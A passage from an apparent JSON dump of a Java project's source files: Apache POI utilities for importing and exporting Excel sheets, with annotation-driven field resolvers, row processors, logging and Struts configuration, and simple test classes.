System.out.println(desRow+\",\"+desRow+\",\"+oldFirstCol+\",\"+oldLastCol);\n\t\t\t\tsheet.addMergedRegion(newRegion);\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic int support(XSSFRow row) {\n\t\tfor (int k = 0; k <= row.getLastCellNum(); k++) {\n\t\t\tXSSFCell cell = row.getCell(k);\n\t\t\tif (null != cell && cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {\n\t\t\t\tString content = cell.getStringCellValue().trim();\n\t\t\t\tPattern prePattern = Pattern.compile(Constants.POI_FOREACH_START_REGEXP);\n\t\t\t\tMatcher matcher = prePattern.matcher(content);\n\t\t\t\tif (matcher.find()) {\n\t\t\t\t\treturn k;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tString content = \"<poi:foreach list=\\\"list\\\"> #{index}\";\n//\t\tString content = \"<poi:foreach list=\\\"list\\\">\";\n\t\tboolean flag = content.matches(\"<poi:foreach\\\\s+list=\\\"(\\\\w+)\\\">\");\n\t\tSystem.out.println(flag);\n\t\t\n\t\tPattern prePattern = Pattern.compile(Constants.POI_FOREACH_START_REGEXP);\n\t\tMatcher matcher = prePattern.matcher(content);\n\t\tboolean f = matcher.find();\n\t\tSystem.out.println(f);\n\t\tSystem.out.println(matcher.replaceAll(\"\"));\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/processor/RowProcessor.java",
    "content": "package com.jun.plugin.poitest.exp.processor;\n\nimport org.apache.poi.xssf.usermodel.XSSFRow;\n\nimport com.jun.plugin.poitest.exp.context.PoiExporterContext;\n\npublic interface RowProcessor {\n\tint dealRow(XSSFRow currentRow, PoiExporterContext peContext);\n\tint support(XSSFRow row);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/processor/RowProcessorStrategy.java",
    "content": "package com.jun.plugin.poitest.exp.processor;\n\nimport java.util.List;\n\nimport org.apache.poi.xssf.usermodel.XSSFRow;\n\nimport com.google.common.collect.Lists;\n\npublic class RowProcessorStrategy {\n\t\n\tpublic static final List<RowProcessor> processors = Lists.newArrayList();\n\tstatic{\n\t\tprocessors.add(new ForeachRowProcessor());\n\t}\n\t\n\tpublic static RowProcessor getRowProcessor(XSSFRow row){\n\t\tfor(RowProcessor processor : processors){\n\t\t\tint flag = processor.support(row);\n\t\t\tif(flag >= 0){\n\t\t\t\treturn processor;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn DefaultRowProcessor.SINGLE.INSTANCE;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/PoiImporter.java",
    "content": "package com.jun.plugin.poitest.imp;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.text.DecimalFormat;\nimport java.util.List;\n\nimport org.apache.poi.hssf.usermodel.HSSFDateUtil;\nimport org.apache.poi.xssf.usermodel.XSSFCell;\nimport org.apache.poi.xssf.usermodel.XSSFFormulaEvaluator;\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poitest.exception.PoiElErrorCode;\nimport com.jun.plugin.poitest.imp.vo.PoiGenericSheetVo;\nimport com.jun.plugin.poitest.imp.vo.PoiSheetVo;\nimport com.jun.plugin.poitest.log.Log;\n\n/**\n * excel 导入类\n * \n * @author wzy\n * @date 2017年7月12日 上午9:43:53\n */\npublic class PoiImporter {\n\tprivate static final Logger logger = LoggerFactory.getLogger(PoiImporter.class);\n\n\tpublic static PoiSheetVo importFirstSheetFrom(InputStream is){\n\t\tXSSFWorkbook wb = null;\n\t\ttry {\n\t\t\twb = new XSSFWorkbook(is);\n\t\t} catch (IOException e) {\n\t\t\ttry {\n\t\t\t\tis.close();\n\t\t\t} catch (IOException e1) {\n\t\t\t\tlogger.error(Log.op(\"PoiImporter#importFirstSheetFrom\").msg(\"关闭资源失败\").toString(), e);\n\t\t\t}\n\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t}\n\n\t\tlong start = System.currentTimeMillis();\n\t\tPoiSheetVo sheetVo = processSheet(wb.getSheetAt(0));\n\t\tlong end = System.currentTimeMillis();\n\n\t\tlogger.info(Log.op(\"PoiImporter#importFirstSheetFrom\").msg(\"处理导入共耗时[{0}ms]\", (end - start)).toString());\n\n\t\t// 关闭资源\n\t\ttry {\n\t\t\tis.close();\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(Log.op(\"PoiImporter#importFirstSheetFrom\").msg(\"关闭资源失败\").toString(), e);\n\t\t}\n\n\t\treturn sheetVo;\n\t}\n\t\n\t\n\tpublic static PoiSheetVo importFirstSheetFrom(File excelFile) {\n\t\tFileInputStream is = null;\n\n\t\ttry {\n\t\t\tis = new FileInputStream(excelFile);\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow PoiElErrorCode.TEMPLATE_FILE_NOT_FOUND.exp(e, excelFile.getName());\n\t\t}\n\n\t\treturn importFirstSheetFrom(is);\n\t}\n\t\n\t/**\n\t * 导入所有的sheet\n\t * @param excelFile\n\t * @return\n\t */\n\tpublic static List<PoiSheetVo> importAllSheetFrom(File excelFile){\n\t\tFileInputStream is = null;\n\n\t\ttry {\n\t\t\tis = new FileInputStream(excelFile);\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow PoiElErrorCode.TEMPLATE_FILE_NOT_FOUND.exp(e, excelFile.getName());\n\t\t}\n\n\t\tXSSFWorkbook wb = null;\n\t\ttry {\n\t\t\twb = new XSSFWorkbook(is);\n\t\t} catch (IOException e) {\n\t\t\ttry {\n\t\t\t\tis.close();\n\t\t\t} catch (IOException e1) {\n\t\t\t\tlogger.error(Log.op(\"PoiImporter#importAllSheetFrom\").msg(\"关闭资源失败\").toString(), e);\n\t\t\t}\n\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t}\n\n\t\tlong start = System.currentTimeMillis();\n\t\tList<PoiSheetVo> sheetVoLs = Lists.newArrayList();\n\t\tfor(int i=0; i<wb.getNumberOfSheets(); i++){\n\t\t\tPoiSheetVo sheetVo = processSheet(wb.getSheetAt(i));\n\t\t\tsheetVoLs.add(sheetVo);\n\t\t}\n\t\tlong end = System.currentTimeMillis();\n\n\t\tlogger.info(Log.op(\"PoiImporter#importAllSheetFrom\").msg(\"处理[{0}]共耗时[{1}ms]\", excelFile.getName(), (end - start)).toString());\n\n\t\t// 关闭资源\n\t\ttry {\n\t\t\tis.close();\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(Log.op(\"PoiImporter#importFirstSheetFrom\").msg(\"关闭资源失败\").toString(), e);\n\t\t}\n\t\t\n\t\treturn sheetVoLs;\n\t}\n\n\t/**\n\t * 解析sheet\n\t * \n\t * @param sheet\n\t * @return\n\t */\n\tprivate static PoiSheetVo processSheet(XSSFSheet sheet) {\n\t\tPoiSheetVo sheetVo = new PoiSheetVo();\n\n\t\t// 处理每行\n\t\tfor (int i = sheet.getFirstRowNum(); i <= sheet.getLastRowNum(); i++) {\n//\t\t\tSystem.out.println(\"行：\" + i);\n\t\t\tXSSFRow row = sheet.getRow(i);\n\t\t\tif (row == null) { // 跳过空行\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tList<Object> oneRow = Lists.newArrayList(); // 行内容\n\t\t\t// 单元格起始位置可能不是第0个\n\t\t\tfor (int j = row.getFirstCellNum();j >= 0 && j <= row.getLastCellNum(); j++) {\n//\t\t\t\tSystem.out.println(\"列：\" + j);\n\t\t\t\tXSSFCell cell = row.getCell(j);\n\t\t\t\tObject value; // 单元格内容\n\t\t\t\tif (cell == null) {\n\t\t\t\t\tvalue = null;\n\t\t\t\t} else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC && HSSFDateUtil.isCellDateFormatted(cell)) {\n\t\t\t\t\tvalue = cell.getDateCellValue();\n\t\t\t\t} else {\n\t\t\t\t\tvalue = getCellValueText(cell, row, sheet, sheet.getWorkbook());\n\t\t\t\t}\n\t\t\t\toneRow.add(value);\n\t\t\t}\n\n\t\t\tsheetVo.getContent().add(oneRow);\n\t\t}\n\n\t\treturn sheetVo;\n\t}\n\n\t/**\n\t * 取cell值，统一转为String\n\t * \n\t * @param cell\n\t * @return\n\t */\n\tprivate static String getCellValueText(XSSFCell cell, XSSFRow row, XSSFSheet sheet, XSSFWorkbook wb) {\n\t\tString cv = \"\";\n\t\tswitch (cell.getCellType()) {\n\t\tcase XSSFCell.CELL_TYPE_NUMERIC:\n\t\t\tDecimalFormat df = new DecimalFormat();\n\t\t\tdf.setParseIntegerOnly(true);\n\t\t\tdouble value = cell.getNumericCellValue();\n\t\t\tif (value % 1 == 0) {\n\t\t\t\tcv = df.format(value);\n\t\t\t\tcv = cv.replaceAll(\",\", \"\");\n\t\t\t} else {\n\t\t\t\tif ((value + \"\").length() >= 7) {\n\t\t\t\t\t// 四舍五入小数点后四位\n\t\t\t\t\tvalue = Math.round(value * 10000);\n\t\t\t\t\tvalue = value / 10000;\n\t\t\t\t\tdf = new DecimalFormat(\"0.0000\");\n\t\t\t\t\tcv = df.format(value);\n\t\t\t\t} else {\n\t\t\t\t\tcv = value + \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase XSSFCell.CELL_TYPE_STRING:\n\t\t\tcv = cell.getRichStringCellValue().getString().trim();\n\t\t\tbreak;\n\t\tcase XSSFCell.CELL_TYPE_BLANK:\n//\t\t\tlogger.info(\"case CELL_TYPE_BLANK\");\n\t\t\tbreak;\n\t\tcase XSSFCell.CELL_TYPE_FORMULA:\n\t\t\ttry {\n\t\t\t\tXSSFFormulaEvaluator evaluator = new XSSFFormulaEvaluator(wb);\n\t\t\t\tcv = evaluator.evaluate(cell).getStringValue();\n\n\t\t\t} catch (Exception e) {\n\t\t\t\tlogger.error(Log.op(\"PoiImporter#getCellValueText\").msg(\"解析出错！\").toString(), e);\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tlogger.warn(Log.op(\"PoiImporter#getCellValueText\").msg(\"未知的单元格类型[{0}]\", cell.getCellType()).toString());\n\t\t\tbreak;\n\t\t}\n\t\treturn cv;\n\t}\n\t\n\t\n\tpublic static <T> PoiGenericSheetVo<T> importFirstSheetFrom(File excelFile, Class<T> clazz) {\n\t\t// 导入原生的内容\n\t\tPoiSheetVo rawSheetVo = importFirstSheetFrom(excelFile);\n\t\treturn PoiGenericSheetVo.resolve2Generic(rawSheetVo, clazz);\n\t}\n\t\n\tpublic static <T> PoiGenericSheetVo<T> importFirstSheetFrom(InputStream is, Class<T> clazz) {\n\t\t// 导入原生的内容\n\t\tPoiSheetVo rawSheetVo = importFirstSheetFrom(is);\n\t\treturn PoiGenericSheetVo.resolve2Generic(rawSheetVo, clazz);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/anno/ExcelColum.java",
    "content": "package com.jun.plugin.poitest.imp.anno;\n\nimport static java.lang.annotation.ElementType.FIELD;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\n\n/**\n* @author wzy\n* @date 2017年7月12日 上午11:15:57\n*/\n@Target({ FIELD })\n@Retention(RUNTIME)\npublic @interface ExcelColum {\n\tString value(); // 导入excel的列名\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/anno/ExcelDateColum.java",
    "content": "package com.jun.plugin.poitest.imp.anno;\n\nimport static java.lang.annotation.ElementType.FIELD;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\n\n/**\n* @author wzy\n* @date 2017年7月12日 上午11:15:57\n*/\n@Target({ FIELD })\n@Retention(RUNTIME)\npublic @interface ExcelDateColum {\n\tString value(); // 导入excel的列名\n\tString pattern() default \"yyyy-MM-dd\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/AbstractResolver.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\nimport java.lang.annotation.Annotation;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.List;\n\nimport com.jun.plugin.poitest.common.ReflectionUtil;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午4:03:50\n*/\npublic abstract class AbstractResolver<T extends Annotation> implements Resolver {\n\tprotected Field field;\n\t/**\n\t * 行内容\n\t */\n\tprotected List<Object> row;\n\t/**\n\t * 头信息\n\t */\n\tprotected List<Object> head;\n\t\n\tpublic Resolver build(List<Object> input, List<Object> head) {\n\t\tthis.row = input;\n\t\tthis.head = head;\n\t\treturn this;\n\t}\n\t\n\t@Deprecated\n\tpublic boolean support(Field field) {\n\t\tParameterizedType parameterizedType = (ParameterizedType) this.getClass().getGenericSuperclass();\n\t\tType pa = parameterizedType.getActualTypeArguments()[0];\n\t\tClass<T> anno = null;\n\t\ttry {\n\t\t\tanno = (Class<T>) ReflectionUtil.getClass(pa);\n\t\t} catch (ClassNotFoundException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\t\n\t\treturn field.getAnnotation(anno) != null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/DateFieldResolver.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\nimport java.lang.reflect.Field;\n\nimport org.joda.time.DateTime;\nimport org.joda.time.format.DateTimeFormat;\nimport org.joda.time.format.DateTimeFormatter;\n\nimport com.jun.plugin.poitest.imp.anno.ExcelDateColum;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午2:40:20\n*/\npublic class DateFieldResolver extends AbstractResolver<ExcelDateColum> {\n\tprivate ExcelDateColum excelDateColum;\n\n\tpublic DateFieldResolver(Field field, ExcelDateColum edc) {\n\t\tsuper();\n\t\tthis.field = field;\n\t\tthis.excelDateColum = edc;\n\t}\n\n\t@Override\n\tpublic Object process() {\n\t\tString columnName = excelDateColum.value();\n\t\tint indexOfColumn = head.indexOf(columnName);\n\t\tObject columnRawValue = row.get(indexOfColumn);\n\t\tDateTimeFormatter format = DateTimeFormat.forPattern(excelDateColum.pattern());\n//\t\t// 时间解析\n\t\treturn DateTime.parse(columnRawValue.toString(), format).toDate();\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/DefaultFieldResolver.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\n\nimport com.jun.plugin.poitest.common.PoiUtils;\nimport com.jun.plugin.poitest.imp.anno.ExcelColum;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午2:40:20\n*/\npublic class DefaultFieldResolver extends AbstractResolver<ExcelColum> {\n\tprivate ExcelColum excelColum;\n\t\n\tpublic DefaultFieldResolver(Field field, ExcelColum excelColum) {\n\t\tsuper();\n\t\tthis.field = field;\n\t\tthis.excelColum = excelColum;\n\t}\n\n\tpublic Object process() {\n\t\tString columnName = excelColum.value();\n\t\tint indexOfColumn = head.indexOf(columnName);\n\t\tObject columnRawValue = row.get(indexOfColumn);\n\t\treturn PoiUtils.parse2Type(columnRawValue, field.getType());\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tDefaultFieldResolver resovler = new DefaultFieldResolver(null, null);\n\t\tParameterizedType parameterizedType = (ParameterizedType) resovler.getClass().getGenericSuperclass();\n\t\tType pa = parameterizedType.getActualTypeArguments()[0];\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/EmptyResolver.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\nimport java.lang.reflect.Field;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午2:40:20\n*/\n@SuppressWarnings(\"rawtypes\")\npublic class EmptyResolver extends AbstractResolver {\n\t\n\tprivate EmptyResolver() {\n\t\tsuper();\n\t}\n\n\tpublic static class SINGLE {\n\t\tpublic static final EmptyResolver INSTANCE = new EmptyResolver();\n\t}\n\n\t/**\n\t * 永远为true\n\t */\n\t@Override\n\tpublic boolean support(Field field) {\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic Object process() {\n\t\treturn null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/Resolver.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午3:31:16\n*/\npublic interface Resolver {\n\tObject process();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/processor/ResolverAdaptor.java",
    "content": "package com.jun.plugin.poitest.imp.processor;\n\nimport java.lang.reflect.Field;\n\nimport com.jun.plugin.poitest.imp.anno.ExcelColum;\nimport com.jun.plugin.poitest.imp.anno.ExcelDateColum;\n\n/**\n * 解析器适配器\n * @author wzy\n * @date 2017年7月12日 下午3:30:52\n */\npublic class ResolverAdaptor {\n\t\n\tpublic static AbstractResolver<?> adapt(Field field) {\n\t\tExcelColum ec = field.getAnnotation(ExcelColum.class);\n\t\tif (ec != null) {\n\t\t\treturn new DefaultFieldResolver(field, ec);\n\t\t}\n\n\t\tExcelDateColum edc = field.getAnnotation(ExcelDateColum.class);\n\t\tif (edc != null) {\n\t\t\treturn new DateFieldResolver(field, edc);\n\t\t}\n\n\t\treturn EmptyResolver.SINGLE.INSTANCE;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/vo/PoiGenericSheetVo.java",
    "content": "package com.jun.plugin.poitest.imp.vo;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.collections.CollectionUtils;\nimport org.joda.time.DateTime;\nimport org.joda.time.format.DateTimeFormat;\nimport org.joda.time.format.DateTimeFormatter;\nimport org.springframework.util.StringUtils;\n\nimport com.google.common.base.Function;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poitest.common.PoiUtils;\nimport com.jun.plugin.poitest.exception.PoiElErrorCode;\nimport com.jun.plugin.poitest.imp.anno.ExcelColum;\nimport com.jun.plugin.poitest.imp.anno.ExcelDateColum;\nimport com.jun.plugin.poitest.imp.processor.DefaultFieldResolver;\nimport com.jun.plugin.poitest.imp.processor.ResolverAdaptor;\n\n/**\n * 作为excel解析结果的载体（单sheet）。<br/>\n * 分为两部分，head头信息 和 body内容\n * \n * @author wzy\n * @date 2017年7月12日 上午9:54:22\n */\npublic class PoiGenericSheetVo<T> {\n\t/**\n\t * 头信息（第一行）\n\t */\n\tprivate List<Object> head;\n\n\t/**\n\t * 内容\n\t */\n\tprivate List<T> body;\n\n\tpublic List<Object> getHead() {\n\t\treturn head;\n\t}\n\n\tpublic void setHead(List<Object> head) {\n\t\tthis.head = head;\n\t}\n\n\tpublic List<T> getBody() {\n\t\treturn body;\n\t}\n\n\tpublic void setBody(List<T> body) {\n\t\tthis.body = body;\n\t}\n\n\tpublic static <T> PoiGenericSheetVo<T> resolve2Generic(PoiSheetVo rawSheetVo, final Class<T> clazz) {\n\t\tfinal PoiGenericSheetVo<T> genericSheetVo = new PoiGenericSheetVo<T>();\n\n\t\tgenericSheetVo.setHead(rawSheetVo.getHead());\n\n\t\t// 解析body\n\t\tList<List<Object>> rawBody = rawSheetVo.getRawBody();\n\n\t\tList<T> body = Lists.transform(rawBody, new Function<List<Object>, T>() {\n\t\t\t@Override\n\t\t\tpublic T apply(List<Object> input) {\n\t\t\t\treturn transfer2Generic(input, clazz);\n\t\t\t}\n\n\t\t\tprivate T transfer2Generic(List<Object> input, Class<T> clazz) {\n\t\t\t\tif (CollectionUtils.isEmpty(input)) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tT vo = clazz.newInstance();\n\t\t\t\t\tField[] fields = clazz.getDeclaredFields();\n\t\t\t\t\tfor (Field f : fields) {\n\t\t\t\t\t\tObject columnGenericValue = ResolverAdaptor.adapt(f).build(input, genericSheetVo.getHead()).process();\n\t\t\t\t\t\tMethod setter = findSetter(clazz, f);\n\t\t\t\t\t\tsetter.invoke(vo, columnGenericValue);\n\t\t\t\t\t}\n\t\t\t\t\treturn vo;\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tprivate Method findSetter(Class<T> clazz, Field f) {\n\t\t\t\tString setterName = \"set\" + StringUtils.capitalize(f.getName());\n\t\t\t\ttry {\n\t\t\t\t\treturn clazz.getMethod(setterName, f.getType());\n\t\t\t\t} catch (NoSuchMethodException | SecurityException e) {\n\t\t\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\tgenericSheetVo.setBody(body);\n\t\treturn genericSheetVo;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/imp/vo/PoiSheetVo.java",
    "content": "package com.jun.plugin.poitest.imp.vo;\n\nimport java.util.List;\n\nimport org.apache.commons.collections.CollectionUtils;\n\nimport com.google.common.collect.Lists;\n\n/**\n * 作为excel解析结果的载体（单sheet）。<br/>\n * 分为两部分，head头信息 和 body内容\n * @author wzy\n * @date 2017年7月12日 上午9:54:22\n */\npublic class PoiSheetVo {\n\t/**\n\t * 整个sheet的内容\n\t */\n\tprivate List<List<Object>> content = Lists.newArrayList();\n\n\tpublic List<Object> getHead() {\n\t\tif(CollectionUtils.isEmpty(content)){\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\treturn content.get(0); // 首行\n\t}\n\t\n\t\n\tpublic List<List<Object>> getRawBody(){\n\t\tif(CollectionUtils.isEmpty(content) || content.size() <= 1){\n\t\t\treturn null;\n\t\t}\n\t\t// 除第一行以外的内容\n\t\tList<List<Object>> rawBody = content.subList(1, content.size() - 1);\n\t\treturn rawBody;\n\t}\n\n\tpublic List<List<Object>> getContent() {\n\t\treturn content;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/log4j.properties",
    "content": "# Output pattern : date [thread] priority category - message   FATAL 0  ERROR 3  WARN 4  INFO 6  DEBUG 7 \nlog4j.rootLogger=WARN, Console, RollingFile\n\n#Console\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n\n\n#RollingFile\nlog4j.appender.RollingFile=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.RollingFile.File=${catalina.base}/logs/jeesite.log\nlog4j.appender.RollingFile.layout=org.apache.log4j.PatternLayout\nlog4j.appender.RollingFile.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n\n\n#Springframework level\n#log4j.logger.org.springframework=ERROR\n\n#Hibernate level\nlog4j.logger.org.hibernate=ERROR\nlog4j.logger.org.hibernate.cache.ehcache.AbstractEhcacheRegionFactory=ERROR\n\n#Project defalult level\nlog4j.logger.com.sw=DEBUG\nlog4j.logger.org.hibernate.search.impl.ConfigContext=ERROR\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/struts.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE struts PUBLIC\n    \"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN\"\n    \"http://struts.apache.org/dtds/struts-2.3.dtd\">\n\n<struts>\n\t\n\t<package name=\"userInfo\" namespace=\"/\" extends=\"struts-default\">\n\t\t<action name=\"user\" class=\"com.jun.plugin.poiExp.action.UserAction\">\n\t\t</action>\n\n\t</package>\n     \n</struts>"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/app.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<Properties xmlns=\"http://schemas.openxmlformats.org/officeDocument/2006/extended-properties\" xmlns:vt=\"http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes\"><Application>Microsoft Excel</Application><DocSecurity>0</DocSecurity><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size=\"2\" baseType=\"variant\"><vt:variant><vt:lpstr>工作表</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size=\"1\" baseType=\"lpstr\"><vt:lpstr>Sheet1</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0300</AppVersion></Properties>"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/ExcelExportUitlsTest.java",
    "content": "package com.jun.plugin.poi;\n\nimport org.junit.Test;\n\n//import com.jun.plugin.poi.demo.ExcelExportHelper;\nimport com.jun.plugin.poi.demo.ExcelExportHelper.ExcelType;\nimport com.jun.plugin.poi.learn.ExcelExportHelper;\nimport com.jun.plugin.poi.learn.test.RedCellStyles;\n\n\n/** \n * @author Wujun\n * @since   2013年9月29日 下午3:05:33 \n */\npublic class ExcelExportUitlsTest {\n\n\t@Test\n\tpublic void test2003() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper();\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2003.xlsx\");\n\t}\n\t\n\t@Test\n\tpublic void test2007() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper();\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功2007\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2007.xlsx\");\n\t}\n\t\n\t@Test\n\tpublic void test2007_2() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper(\"d:/test2007_2.xlsx\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功2007_2\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2007_2_1.xlsx\");\n\t}\n\t\n\t@Test\n\tpublic void testCellStyles() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper();\n\t\t\n\t\texcelExportHelper.setCellStyles(new RedCellStyles(excelExportHelper.getWorkbook()));\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"testCellStyles\");\n\t\t\n\t\texcelExportHelper.export(\"d:/testCellStyles.xlsx\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/ExcelReadUtilsTest.java",
    "content": "package com.jun.plugin.poi;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.util.ArrayList;\n\nimport com.jun.plugin.poi.demo.ExcelReadUtils;\n\n/**\n * @author Wujun\n * @since 2013年9月29日 下午3:56:48\n */\npublic class ExcelReadUtilsTest {\n\n\tpublic static void main(String[] args) throws FileNotFoundException,\n\t\t\tIOException {\n\t\tArrayList<ArrayList<Object>> title = ExcelReadUtils.readRows(\"d:/test2007.xlsx\", 0, 1);\n\t\tfor (ArrayList<Object> row : title) {\n\t\t\tfor (Object cell : row) {\n\t\t\t\tSystem.out.println(cell);\n\t\t\t}\n\t\t}\n\n\t\tSystem.out.println(\"======================\");\n\t\tArrayList<ArrayList<Object>> rows = ExcelReadUtils.readRows(\"d:/test2007.xlsx\", 1, 10);\n\t\tint i = 0;\n\t\tfor (ArrayList<Object> row : rows) {\n\t\t\tSystem.out.println(i++);\n\t\t\tfor (Object cell : row) {\n\t\t\t\tSystem.out.println(cell);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/demo/Demo1.java",
